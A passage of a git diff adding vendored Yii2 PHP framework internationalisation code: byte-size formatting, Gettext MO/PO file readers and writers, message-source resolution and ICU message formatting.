installed.'); + } + } + + /** + * Formats the value in bytes as a size in human readable form for example `12 KB`. + * + * This is the short form of [[asSize]]. + * + * If [[sizeFormatBase]] is 1024, [binary prefixes](http://en.wikipedia.org/wiki/Binary_prefix) (e.g. kibibyte/KiB, mebibyte/MiB, ...) + * are used in the formatting result. + * + * @param integer $value value in bytes to be formatted. + * @param integer $decimals the number of digits after the decimal point. + * @param array $options optional configuration for the number formatter. This parameter will be merged with [[numberFormatterOptions]]. + * @param array $textOptions optional configuration for the number formatter. This parameter will be merged with [[numberFormatterTextOptions]]. + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + * @see sizeFormat + * @see asSize + */ + public function asShortSize($value, $decimals = null, $options = [], $textOptions = []) + { + if ($value === null) { + return $this->nullDisplay; + } + + list($params, $position) = $this->formatSizeNumber($value, $decimals, $options, $textOptions); + + if ($this->sizeFormatBase == 1024) { + switch ($position) { + case 0: return Yii::t('yii', '{nFormatted} B', $params, $this->locale); + case 1: return Yii::t('yii', '{nFormatted} KiB', $params, $this->locale); + case 2: return Yii::t('yii', '{nFormatted} MiB', $params, $this->locale); + case 3: return Yii::t('yii', '{nFormatted} GiB', $params, $this->locale); + case 4: return Yii::t('yii', '{nFormatted} TiB', $params, $this->locale); + default: return Yii::t('yii', '{nFormatted} PiB', $params, $this->locale); + } + } else { + switch ($position) { + case 0: return Yii::t('yii', '{nFormatted} B', $params, $this->locale); + case 1: return Yii::t('yii', '{nFormatted} KB', $params, $this->locale); + case 2: return Yii::t('yii', '{nFormatted} MB', $params, $this->locale); + case 3: return Yii::t('yii', '{nFormatted} GB', $params, $this->locale); + case 4: return Yii::t('yii', '{nFormatted} TB', $params, $this->locale); + default: return Yii::t('yii', '{nFormatted} PB', $params, $this->locale); + } + } + } + + /** + * Formats the value in bytes as a size in human readable form, for example `12 kilobytes`. + * + * If [[sizeFormatBase]] is 1024, [binary prefixes](http://en.wikipedia.org/wiki/Binary_prefix) (e.g. kibibyte/KiB, mebibyte/MiB, ...) + * are used in the formatting result. + * + * @param integer $value value in bytes to be formatted. + * @param integer $decimals the number of digits after the decimal point. + * @param array $options optional configuration for the number formatter. This parameter will be merged with [[numberFormatterOptions]]. + * @param array $textOptions optional configuration for the number formatter. This parameter will be merged with [[numberFormatterTextOptions]]. + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + * @see sizeFormat + * @see asShortSize + */ + public function asSize($value, $decimals = null, $options = [], $textOptions = []) + { + if ($value === null) { + return $this->nullDisplay; + } + + list($params, $position) = $this->formatSizeNumber($value, $decimals, $options, $textOptions); + + if ($this->sizeFormatBase == 1024) { + switch ($position) { + case 0: return Yii::t('yii', '{nFormatted} {n, plural, =1{byte} other{bytes}}', $params, $this->locale); + case 1: return Yii::t('yii', '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}', $params, $this->locale); + case 2: return Yii::t('yii', '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}', $params, $this->locale); + case 3: return Yii::t('yii', '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}', $params, $this->locale); + case 4: return Yii::t('yii', '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}', $params, $this->locale); + default: return Yii::t('yii', '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}', $params, $this->locale); + } + } else { + switch ($position) { + case 0: return Yii::t('yii', '{nFormatted} {n, plural, =1{byte} other{bytes}}', $params, $this->locale); + case 1: return Yii::t('yii', '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}', $params, $this->locale); + case 2: return Yii::t('yii', '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}', $params, $this->locale); + case 3: return Yii::t('yii', '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}', $params, $this->locale); + case 4: return Yii::t('yii', '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}', $params, $this->locale); + default: return Yii::t('yii', '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}', $params, $this->locale); + } + } + } + + private function formatSizeNumber($value, $decimals, $options, $textOptions) + { + if (is_string($value) && is_numeric($value)) { + $value = (int) $value; + } + if (!is_numeric($value)) { + throw new InvalidParamException("'$value' is not a numeric value."); + } + + $position = 0; + do { + if ($value < $this->sizeFormatBase) { + break; + } + $value = $value / $this->sizeFormatBase; + $position++; + } while ($position < 5); + + // no decimals for bytes + if ($position === 0) { + $decimals = 0; + } elseif ($decimals !== null) { + $value = round($value, $decimals); + } + // disable grouping for edge cases like 1023 to get 1023 B instead of 1,023 B + $oldThousandSeparator = $this->thousandSeparator; + $this->thousandSeparator = ''; + if ($this->_intlLoaded) { + $options[NumberFormatter::GROUPING_USED] = false; + } + // format the size value + $params = [ + // this is the unformatted number used for the plural rule + 'n' => $value, + // this is the formatted number used for display + 'nFormatted' => $this->asDecimal($value, $decimals, $options, $textOptions), + ]; + $this->thousandSeparator = $oldThousandSeparator; + + return [$params, $position]; + } + + /** + * @param $value + * @return float + * @throws InvalidParamException + */ + protected function normalizeNumericValue($value) + { + if (empty($value)) { + return 0; + } + if (is_string($value) && is_numeric($value)) { + $value = (float) $value; + } + if (!is_numeric($value)) { + throw new InvalidParamException("'$value' is not a numeric value."); + } + return $value; + } + + /** + * Creates a number formatter based on the given type and format. + * + * You may overide this method to create a number formatter based on patterns. + * + * @param integer $style the type of the number formatter. + * Values: NumberFormatter::DECIMAL, ::CURRENCY, ::PERCENT, ::SCIENTIFIC, ::SPELLOUT, ::ORDINAL + * ::DURATION, ::PATTERN_RULEBASED, ::DEFAULT_STYLE, ::IGNORE + * @param integer $decimals the number of digits after the decimal point. + * @param array $options optional configuration for the number formatter. This parameter will be merged with [[numberFormatterOptions]]. + * @param array $textOptions optional configuration for the number formatter. This parameter will be merged with [[numberFormatterTextOptions]]. + * @return NumberFormatter the created formatter instance + */ + protected function createNumberFormatter($style, $decimals = null, $options = [], $textOptions = []) + { + $formatter = new NumberFormatter($this->locale, $style); + + if ($this->decimalSeparator !== null) { + $formatter->setSymbol(NumberFormatter::DECIMAL_SEPARATOR_SYMBOL, $this->decimalSeparator); + } + if ($this->thousandSeparator !== null) { + $formatter->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, $this->thousandSeparator); + } + + if ($decimals !== null) { + $formatter->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, $decimals); + $formatter->setAttribute(NumberFormatter::MIN_FRACTION_DIGITS, $decimals); + } + + foreach ($this->numberFormatterTextOptions as $name => $attribute) { + $formatter->setTextAttribute($name, $attribute); + } + foreach ($textOptions as $name => $attribute) { + $formatter->setTextAttribute($name, $attribute); + } + foreach ($this->numberFormatterOptions as $name => $value) { + $formatter->setAttribute($name, $value); + } + foreach ($options as $name => $value) { + $formatter->setAttribute($name, $value); + } + return $formatter; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextFile.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextFile.php new file mode 100644 index 00000000..57f2e90f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextFile.php @@ -0,0 +1,37 @@ + + * @since 2.0 + */ +abstract class GettextFile extends Component +{ + /** + * Loads messages from a file. + * @param string $filePath file path + * @param string $context message context + * @return array message translations. Array keys are source messages and array values are translated messages: + * source message => translated message. + */ + abstract public function load($filePath, $context); + + /** + * Saves messages to a file. + * @param string $filePath file path + * @param array $messages message translations. Array keys are source messages and array values are + * translated messages: source message => translated message. Note if the message has a context, + * the message ID must be prefixed with the context with chr(4) as the separator. + */ + abstract public function save($filePath, $messages); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextMessageSource.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextMessageSource.php new file mode 100644 index 00000000..97d0bc19 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextMessageSource.php @@ -0,0 +1,135 @@ + + * @since 2.0 + */ +class GettextMessageSource extends MessageSource +{ + const MO_FILE_EXT = '.mo'; + const PO_FILE_EXT = '.po'; + + /** + * @var string + */ + public $basePath = '@app/messages'; + /** + * @var string + */ + public $catalog = 'messages'; + /** + * @var boolean + */ + public $useMoFile = true; + /** + * @var boolean + */ + public $useBigEndian = false; + + + /** + * Loads the message translation for the specified language and category. + * If translation for specific locale code such as `en-US` isn't found it + * tries more generic `en`. + * + * @param string $category the message category + * @param string $language the target language + * @return array the loaded messages. The keys are original messages, and the values + * are translated messages. + */ + protected function loadMessages($category, $language) + { + $messageFile = $this->getMessageFilePath($language); + $messages = $this->loadMessagesFromFile($messageFile, $category); + + $fallbackLanguage = substr($language, 0, 2); + if ($fallbackLanguage != $language) { + $fallbackMessageFile = $this->getMessageFilePath($fallbackLanguage); + $fallbackMessages = $this->loadMessagesFromFile($fallbackMessageFile, $category); + + if ($messages === null && $fallbackMessages === null && $fallbackLanguage != $this->sourceLanguage) { + Yii::error("The message file for category '$category' does not exist: $messageFile Fallback file does not exist as well: $fallbackMessageFile", __METHOD__); + } elseif (empty($messages)) { + return $fallbackMessages; + } elseif (!empty($fallbackMessages)) { + foreach ($fallbackMessages as $key => $value) { + if (!empty($value) && empty($messages[$key])) { + $messages[$key] = $fallbackMessages[$key]; + } + } + } + } else { + if ($messages === null) { + Yii::error("The message file for category '$category' does not exist: $messageFile", __METHOD__); + } + } + + return (array) $messages; + } + + /** + * Returns message file path for the specified language and category. + * + * @param string $language the target language + * @return string path to message file + */ + protected function getMessageFilePath($language) + { + $messageFile = Yii::getAlias($this->basePath) . '/' . $language . '/' . $this->catalog; + if ($this->useMoFile) { + $messageFile .= self::MO_FILE_EXT; + } else { + $messageFile .= self::PO_FILE_EXT; + } + + return $messageFile; + } + + /** + * Loads the message translation for the specified language and category or returns null if file doesn't exist. + * + * @param string $messageFile path to message file + * @param string $category the message category + * @return array|null array of messages or null if file not found + */ + protected function loadMessagesFromFile($messageFile, $category) + { + if (is_file($messageFile)) { + if ($this->useMoFile) { + $gettextFile = new GettextMoFile(['useBigEndian' => $this->useBigEndian]); + } else { + $gettextFile = new GettextPoFile(); + } + $messages = $gettextFile->load($messageFile, $category); + if (!is_array($messages)) { + $messages = []; + } + + return $messages; + } else { + return null; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextMoFile.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextMoFile.php new file mode 100644 index 00000000..300d4861 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextMoFile.php @@ -0,0 +1,276 @@ +. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * @author Qiang Xue + * @since 2.0 + */ +class GettextMoFile extends GettextFile +{ + /** + * @var boolean whether to use big-endian when reading and writing an integer. + */ + public $useBigEndian = false; + + + /** + * Loads messages from an MO file. + * @param string $filePath file path + * @param string $context message context + * @return array message translations. Array keys are source messages and array values are translated messages: + * source message => translated message. + * @throws Exception if unable to read the MO file + */ + public function load($filePath, $context) + { + if (false === ($fileHandle = @fopen($filePath, 'rb'))) { + throw new Exception('Unable to read file "' . $filePath . '".'); + } + if (false === @flock($fileHandle, LOCK_SH)) { + throw new Exception('Unable to lock file "' . $filePath . '" for reading.'); + } + + // magic + $array = unpack('c', $this->readBytes($fileHandle, 4)); + $magic = current($array); + if ($magic == -34) { + $this->useBigEndian = false; + } elseif ($magic == -107) { + $this->useBigEndian = true; + } else { + throw new Exception('Invalid MO file: ' . $filePath . ' (magic: ' . $magic . ').'); + } + + // revision + $revision = $this->readInteger($fileHandle); + if ($revision != 0) { + throw new Exception('Invalid MO file revision: ' . $revision . '.'); + } + + $count = $this->readInteger($fileHandle); + $sourceOffset = $this->readInteger($fileHandle); + $targetOffset = $this->readInteger($fileHandle); + + $sourceLengths = []; + $sourceOffsets = []; + fseek($fileHandle, $sourceOffset); + for ($i = 0; $i < $count; ++$i) { + $sourceLengths[] = $this->readInteger($fileHandle); + $sourceOffsets[] = $this->readInteger($fileHandle); + } + + $targetLengths = []; + $targetOffsets = []; + fseek($fileHandle, $targetOffset); + for ($i = 0; $i < $count; ++$i) { + $targetLengths[] = $this->readInteger($fileHandle); + $targetOffsets[] = $this->readInteger($fileHandle); + } + + $messages = []; + for ($i = 0; $i < $count; ++$i) { + $id = $this->readString($fileHandle, $sourceLengths[$i], $sourceOffsets[$i]); + $separatorPosition = strpos($id, chr(4)); + + + if (($context && $separatorPosition !== false && strncmp($id, $context, $separatorPosition) === 0) || + (!$context && $separatorPosition === false)) { + if ($separatorPosition !== false) { + $id = substr($id, $separatorPosition+1); + } + + $message = $this->readString($fileHandle, $targetLengths[$i], $targetOffsets[$i]); + $messages[$id] = $message; + } + } + + @flock($fileHandle, LOCK_UN); + @fclose($fileHandle); + + return $messages; + } + + /** + * Saves messages to an MO file. + * @param string $filePath file path + * @param array $messages message translations. Array keys are source messages and array values are + * translated messages: source message => translated message. Note if the message has a context, + * the message ID must be prefixed with the context with chr(4) as the separator. + * @throws Exception if unable to save the MO file + */ + public function save($filePath, $messages) + { + if (false === ($fileHandle = @fopen($filePath, 'wb'))) { + throw new Exception('Unable to write file "' . $filePath . '".'); + } + if (false === @flock($fileHandle, LOCK_EX)) { + throw new Exception('Unable to lock file "' . $filePath . '" for reading.'); + } + + // magic + if ($this->useBigEndian) { + $this->writeBytes($fileHandle, pack('c*', 0x95, 0x04, 0x12, 0xde)); // -107 + } else { + $this->writeBytes($fileHandle, pack('c*', 0xde, 0x12, 0x04, 0x95)); // -34 + } + + // revision + $this->writeInteger($fileHandle, 0); + + // message count + $messageCount = count($messages); + $this->writeInteger($fileHandle, $messageCount); + + // offset of source message table + $offset = 28; + $this->writeInteger($fileHandle, $offset); + $offset += $messageCount * 8; + $this->writeInteger($fileHandle, $offset); + + // hashtable size, omitted + $this->writeInteger($fileHandle, 0); + $offset += $messageCount * 8; + $this->writeInteger($fileHandle, $offset); + + // length and offsets for source messages + foreach (array_keys($messages) as $id) { + $length = strlen($id); + $this->writeInteger($fileHandle, $length); + $this->writeInteger($fileHandle, $offset); + $offset += $length + 1; + } + + // length and offsets for target messages + foreach ($messages as $message) { + $length = strlen($message); + $this->writeInteger($fileHandle, $length); + $this->writeInteger($fileHandle, $offset); + $offset += $length + 1; + } + + // source messages + foreach (array_keys($messages) as $id) { + $this->writeString($fileHandle, $id); + } + + // target messages + foreach ($messages as $message) { + $this->writeString($fileHandle, $message); + } + + @flock($fileHandle, LOCK_UN); + @fclose($fileHandle); + } + + /** + * Reads one or several bytes. + * @param resource $fileHandle to read from + * @param integer $byteCount to be read + * @return string bytes + */ + protected function readBytes($fileHandle, $byteCount = 1) + { + if ($byteCount > 0) { + return fread($fileHandle, $byteCount); + } else { + return null; + } + } + + /** + * Write bytes. + * @param resource $fileHandle to write to + * @param string $bytes to be written + * @return integer how many bytes are written + */ + protected function writeBytes($fileHandle, $bytes) + { + return fwrite($fileHandle, $bytes); + } + + /** + * Reads a 4-byte integer. + * @param resource $fileHandle to read from + * @return integer the result + */ + protected function readInteger($fileHandle) + { + $array = unpack($this->useBigEndian ? 'N' : 'V', $this->readBytes($fileHandle, 4)); + + return current($array); + } + + /** + * Writes a 4-byte integer. + * @param resource $fileHandle to write to + * @param integer $integer to be written + * @return integer how many bytes are written + */ + protected function writeInteger($fileHandle, $integer) + { + return $this->writeBytes($fileHandle, pack($this->useBigEndian ? 'N' : 'V', (int) $integer)); + } + + /** + * Reads a string. + * @param resource $fileHandle file handle + * @param integer $length of the string + * @param integer $offset of the string in the file. If null, it reads from the current position. + * @return string the result + */ + protected function readString($fileHandle, $length, $offset = null) + { + if ($offset !== null) { + fseek($fileHandle, $offset); + } + + return $this->readBytes($fileHandle, $length); + } + + /** + * Writes a string. + * @param resource $fileHandle to write to + * @param string $string to be written + * @return integer how many bytes are written + */ + protected function writeString($fileHandle, $string) + { + return $this->writeBytes($fileHandle, $string. "\0"); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextPoFile.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextPoFile.php new file mode 100644 index 00000000..7dd29253 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/GettextPoFile.php @@ -0,0 +1,99 @@ + + * @since 2.0 + */ +class GettextPoFile extends GettextFile +{ + /** + * Loads messages from a PO file. + * @param string $filePath file path + * @param string $context message context + * @return array message translations. Array keys are source messages and array values are translated messages: + * source message => translated message. + */ + public function load($filePath, $context) + { + $pattern = '/(msgctxt\s+"(.*?(?decode($matches[3][$i]); + $message = $this->decode($matches[4][$i]); + $messages[$id] = $message; + } + } + + return $messages; + } + + /** + * Saves messages to a PO file. + * @param string $filePath file path + * @param array $messages message translations. Array keys are source messages and array values are + * translated messages: source message => translated message. Note if the message has a context, + * the message ID must be prefixed with the context with chr(4) as the separator. + */ + public function save($filePath, $messages) + { + $content = ''; + foreach ($messages as $id => $message) { + $separatorPosition = strpos($id, chr(4)); + if ($separatorPosition !== false) { + $content .= 'msgctxt "' . substr($id, 0, $separatorPosition) . "\"\n"; + $id = substr($id, $separatorPosition + 1); + } + $content .= 'msgid "' . $this->encode($id) . "\"\n"; + $content .= 'msgstr "' . $this->encode($message) . "\"\n\n"; + } + file_put_contents($filePath, $content); + } + + /** + * Encodes special characters in a message. + * @param string $string message to be encoded + * @return string the encoded message + */ + protected function encode($string) + { + return str_replace( + ['"', "\n", "\t", "\r"], + ['\\"', '\\n', '\\t', '\\r'], + $string + ); + } + + /** + * Decodes special characters in a message. + * @param string $string message to be decoded + * @return string the decoded message + */ + protected function decode($string) + { + $string = preg_replace( + ['/"\s+"/', '/\\\\n/', '/\\\\r/', '/\\\\t/', '/\\\\"/'], + ['', "\n", "\r", "\t", '"'], + $string + ); + + return substr(rtrim($string), 1, -1); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/I18N.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/I18N.php new file mode 100644 index 00000000..9ae858c6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/I18N.php @@ -0,0 +1,202 @@ +i18n`. + * + * @property MessageFormatter $messageFormatter The message formatter to be used to format message via ICU + * message format. Note that the type of this property differs in getter and setter. See + * [[getMessageFormatter()]] and [[setMessageFormatter()]] for details. + * + * @author Qiang Xue + * @since 2.0 + */ +class I18N extends Component +{ + /** + * @var array list of [[MessageSource]] configurations or objects. The array keys are message + * category patterns, and the array values are the corresponding [[MessageSource]] objects or the configurations + * for creating the [[MessageSource]] objects. + * + * The message category patterns can contain the wildcard '*' at the end to match multiple categories with the same prefix. + * For example, 'app/*' matches both 'app/cat1' and 'app/cat2'. + * + * The '*' category pattern will match all categories that do not match any other category patterns. + * + * This property may be modified on the fly by extensions who want to have their own message sources + * registered under their own namespaces. + * + * The category "yii" and "app" are always defined. The former refers to the messages used in the Yii core + * framework code, while the latter refers to the default message category for custom application code. + * By default, both of these categories use [[PhpMessageSource]] and the corresponding message files are + * stored under "@yii/messages" and "@app/messages", respectively. + * + * You may override the configuration of both categories. + */ + public $translations; + + + /** + * Initializes the component by configuring the default message categories. + */ + public function init() + { + parent::init(); + if (!isset($this->translations['yii']) && !isset($this->translations['yii*'])) { + $this->translations['yii'] = [ + 'class' => 'yii\i18n\PhpMessageSource', + 'sourceLanguage' => 'en-US', + 'basePath' => '@yii/messages', + ]; + } + if (!isset($this->translations['app']) && !isset($this->translations['app*'])) { + $this->translations['app'] = [ + 'class' => 'yii\i18n\PhpMessageSource', + 'sourceLanguage' => Yii::$app->sourceLanguage, + 'basePath' => '@app/messages', + ]; + } + } + + /** + * Translates a message to the specified language. + * + * After translation the message will be formatted using [[MessageFormatter]] if it contains + * ICU message format and `$params` are not empty. + * + * @param string $category the message category. + * @param string $message the message to be translated. + * @param array $params the parameters that will be used to replace the corresponding placeholders in the message. + * @param string $language the language code (e.g. `en-US`, `en`). + * @return string the translated and formatted message. + */ + public function translate($category, $message, $params, $language) + { + $messageSource = $this->getMessageSource($category); + $translation = $messageSource->translate($category, $message, $language); + if ($translation === false) { + return $this->format($message, $params, $messageSource->sourceLanguage); + } else { + return $this->format($translation, $params, $language); + } + } + + /** + * Formats a message using [[MessageFormatter]]. + * + * @param string $message the message to be formatted. + * @param array $params the parameters that will be used to replace the corresponding placeholders in the message. + * @param string $language the language code (e.g. `en-US`, `en`). + * @return string the formatted message. + */ + public function format($message, $params, $language) + { + $params = (array) $params; + if ($params === []) { + return $message; + } + + if (preg_match('~{\s*[\d\w]+\s*,~u', $message)) { + $formatter = $this->getMessageFormatter(); + $result = $formatter->format($message, $params, $language); + if ($result === false) { + $errorMessage = $formatter->getErrorMessage(); + Yii::warning("Formatting message for language '$language' failed with error: $errorMessage. The message being formatted was: $message.", __METHOD__); + + return $message; + } else { + return $result; + } + } + + $p = []; + foreach ($params as $name => $value) { + $p['{' . $name . '}'] = $value; + } + + return strtr($message, $p); + } + + /** + * @var string|array|MessageFormatter + */ + private $_messageFormatter; + + /** + * Returns the message formatter instance. + * @return MessageFormatter the message formatter to be used to format message via ICU message format. + */ + public function getMessageFormatter() + { + if ($this->_messageFormatter === null) { + $this->_messageFormatter = new MessageFormatter(); + } elseif (is_array($this->_messageFormatter) || is_string($this->_messageFormatter)) { + $this->_messageFormatter = Yii::createObject($this->_messageFormatter); + } + + return $this->_messageFormatter; + } + + /** + * @param string|array|MessageFormatter $value the message formatter to be used to format message via ICU message format. + * Can be given as array or string configuration that will be given to [[Yii::createObject]] to create an instance + * or a [[MessageFormatter]] instance. + */ + public function setMessageFormatter($value) + { + $this->_messageFormatter = $value; + } + + /** + * Returns the message source for the given category. + * @param string $category the category name. + * @return MessageSource the message source for the given category. + * @throws InvalidConfigException if there is no message source available for the specified category. + */ + public function getMessageSource($category) + { + if (isset($this->translations[$category])) { + $source = $this->translations[$category]; + if ($source instanceof MessageSource) { + return $source; + } else { + return $this->translations[$category] = Yii::createObject($source); + } + } else { + // try wildcard matching + foreach ($this->translations as $pattern => $source) { + if (strpos($pattern, '*') > 0 && strpos($category, rtrim($pattern, '*')) === 0) { + if ($source instanceof MessageSource) { + return $source; + } else { + return $this->translations[$category] = $this->translations[$pattern] = Yii::createObject($source); + } + } + } + // match '*' in the last + if (isset($this->translations['*'])) { + $source = $this->translations['*']; + if ($source instanceof MessageSource) { + return $source; + } else { + return $this->translations[$category] = $this->translations['*'] = Yii::createObject($source); + } + } + } + + throw new InvalidConfigException("Unable to locate message source for category '$category'."); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/MessageFormatter.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/MessageFormatter.php new file mode 100644 index 00000000..65285fa1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/MessageFormatter.php @@ -0,0 +1,414 @@ + + * @author Carsten Brandt + * @since 2.0 + */ +class MessageFormatter extends Component +{ + private $_errorCode = 0; + private $_errorMessage = ''; + + + /** + * Get the error code from the last operation + * @link http://php.net/manual/en/messageformatter.geterrorcode.php + * @return string Code of the last error. + */ + public function getErrorCode() + { + return $this->_errorCode; + } + + /** + * Get the error text from the last operation + * @link http://php.net/manual/en/messageformatter.geterrormessage.php + * @return string Description of the last error. + */ + public function getErrorMessage() + { + return $this->_errorMessage; + } + + /** + * Formats a message via [ICU message format](http://userguide.icu-project.org/formatparse/messages) + * + * It uses the PHP intl extension's [MessageFormatter](http://www.php.net/manual/en/class.messageformatter.php) + * and works around some issues. + * If PHP intl is not installed a fallback will be used that supports a subset of the ICU message format. + * + * @param string $pattern The pattern string to insert parameters into. + * @param array $params The array of name value pairs to insert into the format string. + * @param string $language The locale to use for formatting locale-dependent parts + * @return string|boolean The formatted pattern string or `FALSE` if an error occurred + */ + public function format($pattern, $params, $language) + { + $this->_errorCode = 0; + $this->_errorMessage = ''; + + if ($params === []) { + return $pattern; + } + + if (!class_exists('MessageFormatter', false)) { + return $this->fallbackFormat($pattern, $params, $language); + } + + if (version_compare(PHP_VERSION, '5.5.0', '<') || version_compare(INTL_ICU_VERSION, '4.8', '<')) { + // replace named arguments + $pattern = $this->replaceNamedArguments($pattern, $params, $newParams); + $params = $newParams; + } + + $formatter = new \MessageFormatter($language, $pattern); + if ($formatter === null) { + $this->_errorCode = intl_get_error_code(); + $this->_errorMessage = "Message pattern is invalid: " . intl_get_error_message(); + + return false; + } + $result = $formatter->format($params); + if ($result === false) { + $this->_errorCode = $formatter->getErrorCode(); + $this->_errorMessage = $formatter->getErrorMessage(); + + return false; + } else { + return $result; + } + } + + /** + * Parses an input string according to an [ICU message format](http://userguide.icu-project.org/formatparse/messages) pattern. + * + * It uses the PHP intl extension's [MessageFormatter::parse()](http://www.php.net/manual/en/messageformatter.parsemessage.php) + * and adds support for named arguments. + * Usage of this method requires PHP intl extension to be installed. + * + * @param string $pattern The pattern to use for parsing the message. + * @param string $message The message to parse, conforming to the pattern. + * @param string $language The locale to use for formatting locale-dependent parts + * @return array|boolean An array containing items extracted, or `FALSE` on error. + * @throws \yii\base\NotSupportedException when PHP intl extension is not installed. + */ + public function parse($pattern, $message, $language) + { + $this->_errorCode = 0; + $this->_errorMessage = ''; + + if (!class_exists('MessageFormatter', false)) { + throw new NotSupportedException('You have to install PHP intl extension to use this feature.'); + } + + // replace named arguments + if (($tokens = self::tokenizePattern($pattern)) === false) { + $this->_errorCode = -1; + $this->_errorMessage = "Message pattern is invalid."; + + return false; + } + $map = []; + foreach ($tokens as $i => $token) { + if (is_array($token)) { + $param = trim($token[0]); + if (!isset($map[$param])) { + $map[$param] = count($map); + } + $token[0] = $map[$param]; + $tokens[$i] = '{' . implode(',', $token) . '}'; + } + } + $pattern = implode('', $tokens); + $map = array_flip($map); + + $formatter = new \MessageFormatter($language, $pattern); + if ($formatter === null) { + $this->_errorCode = -1; + $this->_errorMessage = "Message pattern is invalid."; + + return false; + } + $result = $formatter->parse($message); + if ($result === false) { + $this->_errorCode = $formatter->getErrorCode(); + $this->_errorMessage = $formatter->getErrorMessage(); + + return false; + } else { + $values = []; + foreach ($result as $key => $value) { + $values[$map[$key]] = $value; + } + + return $values; + } + } + + /** + * Replace named placeholders with numeric placeholders and quote unused. + * + * @param string $pattern The pattern string to replace things into. + * @param array $givenParams The array of values to insert into the format string. + * @param array $resultingParams Modified array of parameters. + * @param array $map + * @return string The pattern string with placeholders replaced. + */ + private function replaceNamedArguments($pattern, $givenParams, &$resultingParams, &$map = []) + { + if (($tokens = self::tokenizePattern($pattern)) === false) { + return false; + } + foreach ($tokens as $i => $token) { + if (!is_array($token)) { + continue; + } + $param = trim($token[0]); + if (isset($givenParams[$param])) { + // if param is given, replace it with a number + if (!isset($map[$param])) { + $map[$param] = count($map); + // make sure only used params are passed to format method + $resultingParams[$map[$param]] = $givenParams[$param]; + } + $token[0] = $map[$param]; + $quote = ""; + } else { + // quote unused token + $quote = "'"; + } + $type = isset($token[1]) ? trim($token[1]) : 'none'; + // replace plural and select format recursively + if ($type == 'plural' || $type == 'select') { + if (!isset($token[2])) { + return false; + } + if (($subtokens = self::tokenizePattern($token[2])) === false) { + return false; + } + $c = count($subtokens); + for ($k = 0; $k + 1 < $c; $k++) { + if (is_array($subtokens[$k]) || !is_array($subtokens[++$k])) { + return false; + } + $subpattern = $this->replaceNamedArguments(implode(',', $subtokens[$k]), $givenParams, $resultingParams, $map); + $subtokens[$k] = $quote . '{' . $quote . $subpattern . $quote . '}' . $quote; + } + $token[2] = implode('', $subtokens); + } + $tokens[$i] = $quote . '{' . $quote . implode(',', $token) . $quote . '}' . $quote; + } + + return implode('', $tokens); + } + + /** + * Fallback implementation for MessageFormatter::formatMessage + * @param string $pattern The pattern string to insert things into. + * @param array $args The array of values to insert into the format string + * @param string $locale The locale to use for formatting locale-dependent parts + * @return string|boolean The formatted pattern string or `FALSE` if an error occurred + */ + protected function fallbackFormat($pattern, $args, $locale) + { + if (($tokens = self::tokenizePattern($pattern)) === false) { + $this->_errorCode = -1; + $this->_errorMessage = "Message pattern is invalid."; + + return false; + } + foreach ($tokens as $i => $token) { + if (is_array($token)) { + if (($tokens[$i] = $this->parseToken($token, $args, $locale)) === false) { + $this->_errorCode = -1; + $this->_errorMessage = "Message pattern is invalid."; + + return false; + } + } + } + + return implode('', $tokens); + } + + /** + * Tokenizes a pattern by separating normal text from replaceable patterns + * @param string $pattern patter to tokenize + * @return array|boolean array of tokens or false on 